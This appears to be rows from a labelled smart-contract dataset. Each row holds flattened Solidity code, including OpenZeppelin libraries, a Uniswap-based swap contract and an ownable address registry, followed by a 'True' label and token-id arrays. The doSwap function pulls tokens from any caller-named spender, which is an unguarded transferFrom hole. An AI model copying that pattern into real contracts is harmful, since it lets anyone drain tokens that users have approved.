* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File ozV3/token/ERC20/[email protected]
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File ozV3/utils/[email protected]
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File ozV3/token/ERC20/[email protected]
pragma solidity >=0.6.0 <0.8.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File contracts/universal-liquidator/interfaces/ILiquidityDex.sol
pragma solidity >=0.6.12;
interface ILiquidityDex {
function doSwap(
uint256 amountIn,
uint256 minAmountOut,
address spender,
address target,
address[] memory path
) external returns (uint256);
}
// File contracts/universal-liquidator/interfaces/IUniswapV2Factory.sol
pragma solidity 0.6.12;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint256);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// File contracts/universal-liquidator/dexes/UniBasedDex.sol
pragma solidity 0.6.12;
contract UniBasedDex is ILiquidityDex {
using SafeMath for uint256;
using SafeERC20 for IERC20;
receive() external payable {}
address private uniswapRouter;
address private uniswapFactory;
constructor(address routerAddress, address factoryAddress) public {
uniswapRouter = routerAddress;
uniswapFactory = factoryAddress;
}
function doSwap(
uint256 amountIn,
uint256 minAmountOut,
address spender,
address target,
address[] memory path
) public override returns(uint256) {
address buyToken = path[path.length-1];
address sellToken = path[0];
require(buyToken == path[path.length-1], "The last token on the path should be the buytoken");
IERC20(sellToken).safeTransferFrom(spender, address(this), amountIn);
IERC20(sellToken).safeIncreaseAllowance(uniswapRouter, amountIn);
uint256[] memory returned = IUniswapV2Router02(uniswapRouter).swapExactTokensForTokens(amountIn, minAmountOut, path, target, block.timestamp);
return returned[returned.length-1];
}
}
// File contracts/universal-liquidator/dexes/ShibaswapDex.sol
pragma solidity 0.6.12;
contract ShibaswapDex is
UniBasedDex(0x03f7724180AA6b939894B5Ca4314783B0b36b329, 0x115934131916C8b277DD010Ee02de363c09d037c)
{} | True | [
101,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
1013,
1013,
5371,
2270,
1013,
8311,
1013,
2918,
1013,
8278,
1013,
4895,
2483,
4213,
2361,
1013,
1045,
19496,
26760,
9331,
2615,
2475,
22494,
3334,
24096,
1012,
14017,
10975,
8490,
2863,
5024,
3012,
1028,
1027,
1014,
1012,
1019,
1012,
1014,
1025,
8278,
1045,
19496,
26760,
9331,
2615,
2475,
22494,
3334,
24096,
1063,
3853,
4713,
1006,
1007,
6327,
5760,
5651,
1006,
4769,
1007,
1025,
3853,
4954,
2232,
1006,
1007,
6327,
5760,
5651,
1006,
4769,
1007,
1025,
3853,
5587,
3669,
15549,
25469,
1006,
4769,
19204,
2050,
1010,
4769,
19204,
2497,
1010,
21318,
3372,
3815,
18673,
27559,
1010,
21318,
3372,
3815,
2497,
6155,
27559,
1010,
21318,
3372,
3815,
10631,
2078,
1010,
21318,
3372,
3815,
25526,
2378,
1010,
4769,
2000,
1010,
21318,
3372,
15117,
1007,
6327,
5651,
1006,
21318,
3372,
3815,
2050,
1010,
21318,
3372,
3815,
2497,
1010,
21318,
3372,
6381,
3012,
1007,
1025,
3853,
5587,
3669,
15549,
25469,
11031,
1006,
4769,
19204,
1010,
21318,
3372,
3815,
18715,
10497,
2229,
27559,
1010,
21318,
3372,
3815,
18715,
2368,
10020,
1010,
21318,
3372,
3815,
11031,
10020,
1010,
4769,
2000,
1010,
21318,
3372,
15117,
1007,
6327,
3477,
3085,
5651,
1006,
21318,
3372,
3815,
18715,
2368,
1010,
21318,
3372,
3815,
11031,
1010,
21318,
3372,
6381,
3012,
1007,
1025,
3853,
6366,
3669,
15549,
25469,
1006,
4769,
19204,
2050,
1010,
4769,
19204,
2497,
1010,
21318,
3372,
6381,
3012,
1010,
21318,
3372,
3815,
10631,
2078,
1010,
21318,
3372,
3815,
25526,
2378,
1010,
4769,
2000,
1010,
21318,
3372,
15117,
1007,
6327,
5651,
1006,
21318,
3372,
3815,
2050,
1010,
21318,
3372,
3815,
2497,
1007,
1025,
3853,
6366,
3669,
15549,
25469,
11031,
1006,
4769,
19204,
1010,
21318,
3372,
6381,
3012,
1010,
21318,
3372,
3815,
18715,
2368,
10020,
1010,
21318,
3372,
3815,
11031,
10020,
1010,
4769,
2000,
1010,
21318,
3372,
15117,
1007,
6327,
5651,
1006,
21318,
3372,
3815,
18715,
2368,
1010,
21318,
3372,
3815,
11031,
1007,
1025,
3853,
6366,
3669,
15549,
25469,
24415,
4842,
22930,
1006,
4769,
19204,
2050,
1010,
4769,
19204,
2497,
1010,
21318,
3372,
6381,
3012,
1010,
21318,
3372,
3815,
10631,
2078,
1010,
21318,
3372,
3815,
25526,
2378,
1010,
4769,
2000,
1010,
21318,
3372,
15117,
1010,
22017,
2140,
14300,
17848,
1010,
21318,
3372,
2620,
1058,
1010,
27507,
16703,
1054,
1010,
27507,
16703,
1055,
1007,
6327,
5651,
1006,
21318,
3372,
3815,
2050,
1010,
21318,
3372,
3815,
2497,
1007,
1025,
3853,
6366,
3669,
15549,
25469,
11031,
24415,
4842,
22930,
1006,
4769,
19204,
1010,
21318,
3372,
6381,
3012,
1010,
21318,
3372,
3815,
18715,
2368,
10020,
1010,
21318,
3372,
3815,
11031,
10020,
1010,
4769,
2000,
1010,
21318,
3372,
15117,
1010,
22017,
2140,
14300,
17848,
1010,
21318,
3372,
2620,
1058,
1010,
27507,
16703,
1054,
1010,
27507,
16703,
1055,
1007,
6327,
5651,
1006,
21318,
3372,
3815,
18715,
2368,
1010,
21318,
3372,
3815,
11031,
1007,
1025,
3853,
19948,
10288,
18908,
18715,
6132,
13028,
11045,
3619,
1006,
21318,
3372,
3815,
2378,
1010,
21318,
3372,
3815,
5833,
10020,
1010,
4769,
1031,
1033,
2655,
2850,
2696,
4130,
1010,
4769,
2000,
1010,
21318,
3372,
15117,
1007,
6327,
5651,
1006,
21318,
3372,
1031,
1033,
3638,
8310,
1007,
1025,
3853,
19948,
18715,
6132,
29278,
10288,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/*
* Copyright (C) 2021 The Wolfpack
* This file is part of wolves.finance - https://github.com/wolvesofwallstreet/wolves.finance
*
* SPDX-License-Identifier: Apache-2.0
* See the file LICENSES/README.md for more information.
*/
import '@openzeppelin/contracts/access/Ownable.sol';
import './interfaces/IAddressRegistry.sol';
pragma solidity >=0.7.0 <0.8.0;
contract AddressRegistry is IAddressRegistry, Ownable {
mapping(bytes32 => address) public registry;
constructor(address _owner) {
transferOwnership(_owner);
}
function setRegistryEntry(bytes32 _key, address _location)
external
override
onlyOwner
{
registry[_key] = _location;
}
function getRegistryEntry(bytes32 _key)
external
view
override
returns (address)
{
require(registry[_key] != address(0), 'no address for key');
return registry[_key];
}
}
/*
* Copyright (C) 2021 The Wolfpack
* This file is part of wolves.finance - https://github.com/wolvesofwallstreet/wolves.finance
*
* SPDX-License-Identifier: Apache-2.0
* See the file LICENSES/README.md for more information.
*/
pragma solidity >=0.7.0 <0.8.0;
interface IAddressRegistry {
/**
* @dev Set an abitrary key / address pair into the registry
*/
function setRegistryEntry(bytes32 _key, address _location) external;
/**
* @dev Get an registry enty with by key, returns 0 address if not existing
*/
function getRegistryEntry(bytes32 _key) external view returns (address);
} | True | [
101,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1028,
1027,
1014,
1012,
1020,
1012,
1014,
1026,
1014,
1012,
1022,
1012,
1014,
1025,
12324,
1000,
1012,
1012,
1013,
21183,
12146,
1013,
6123,
1012,
14017,
1000,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
3206,
11336,
2029,
3640,
1037,
3937,
3229,
2491,
7337,
1010,
2073,
1008,
2045,
2003,
2019,
4070,
1006,
2019,
3954,
1007,
2008,
2064,
2022,
4379,
7262,
3229,
2000,
1008,
3563,
4972,
1012,
1008,
1008,
2011,
12398,
1010,
1996,
3954,
4070,
2097,
2022,
1996,
2028,
2008,
21296,
2015,
1996,
3206,
1012,
2023,
1008,
2064,
2101,
2022,
2904,
2007,
1063,
4651,
12384,
2545,
5605,
1065,
1012,
1008,
1008,
2023,
11336,
2003,
2109,
2083,
12839,
1012,
2009,
2097,
2191,
2800,
1996,
16913,
18095,
1008,
1036,
2069,
12384,
2121,
1036,
1010,
2029,
2064,
2022,
4162,
2000,
2115,
4972,
2000,
21573,
2037,
2224,
2000,
1008,
1996,
3954,
1012,
1008,
1013,
10061,
3206,
2219,
3085,
2003,
6123,
1063,
4769,
2797,
1035,
3954,
1025,
2724,
6095,
6494,
3619,
7512,
5596,
1006,
4769,
25331,
3025,
12384,
2121,
1010,
4769,
25331,
2047,
12384,
2121,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
3988,
10057,
1996,
3206,
4292,
1996,
21296,
2121,
2004,
1996,
3988,
3954,
1012,
1008,
1013,
9570,
2953,
1006,
1007,
4722,
1063,
4769,
5796,
5620,
10497,
2121,
1027,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
1025,
1035,
3954,
1027,
5796,
5620,
10497,
2121,
1025,
12495,
2102,
6095,
6494,
3619,
7512,
5596,
1006,
4769,
1006,
1014,
1007,
1010,
5796,
5620,
10497,
2121,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
4769,
1997,
1996,
2783,
3954,
1012,
1008,
1013,
3853,
3954,
1006,
1007,
2270,
3193,
7484,
5651,
1006,
4769,
1007,
1063,
2709,
1035,
3954,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
11618,
2065,
2170,
2011,
2151,
4070,
2060,
2084,
1996,
3954,
1012,
1008,
1013,
16913,
18095,
2069,
12384,
2121,
1006,
1007,
1063,
5478,
1006,
3954,
1006,
1007,
1027,
1027,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
1010,
1000,
2219,
3085,
1024,
20587,
2003,
2025,
1996,
3954,
1000,
1007,
1025,
1035,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
3727,
1996,
3206,
2302,
3954,
1012,
2009,
2097,
2025,
2022,
2825,
2000,
2655,
1008,
1036,
2069,
12384,
2121,
1036,
4972,
4902,
1012,
2064,
2069,
2022,
2170,
2011,
1996,
2783,
3954,
1012,
1008,
1008,
3602,
1024,
17738,
4609,
6129,
6095,
2097,
2681,
1996,
3206,
2302,
2019,
3954,
1010,
1008,
8558,
9268,
2151,
15380,
2008,
2003,
2069,
2800,
2000,
1996,
3954,
1012,
1008,
1013,
3853,
17738,
17457,
12384,
2545,
5605,
1006,
1007,
2270,
7484,
2069,
12384,
2121,
1063,
12495,
2102,
6095,
6494,
3619,
7512,
5596,
1006,
1035,
3954,
1010,
4769,
1006,
1014,
1007,
1007,
1025,
1035,
3954,
1027,
4769,
1006,
1014,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
15210,
6095,
1997,
1996,
3206,
2000,
1037,
2047,
4070,
1006,
1036,
2047,
12384,
2121,
1036,
1007,
1012,
1008,
2064,
2069,
2022,
2170,
2011,
1996,
2783,
3954,
1012,
1008,
1013,
3853,
4651,
12384,
2545,
5605,
1006,
4769,
2047,
12384,
2121,
1007,
2270,
7484,
2069,
12384,
2121,
1063,
5478,
1006,
2047,
12384,
2121,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
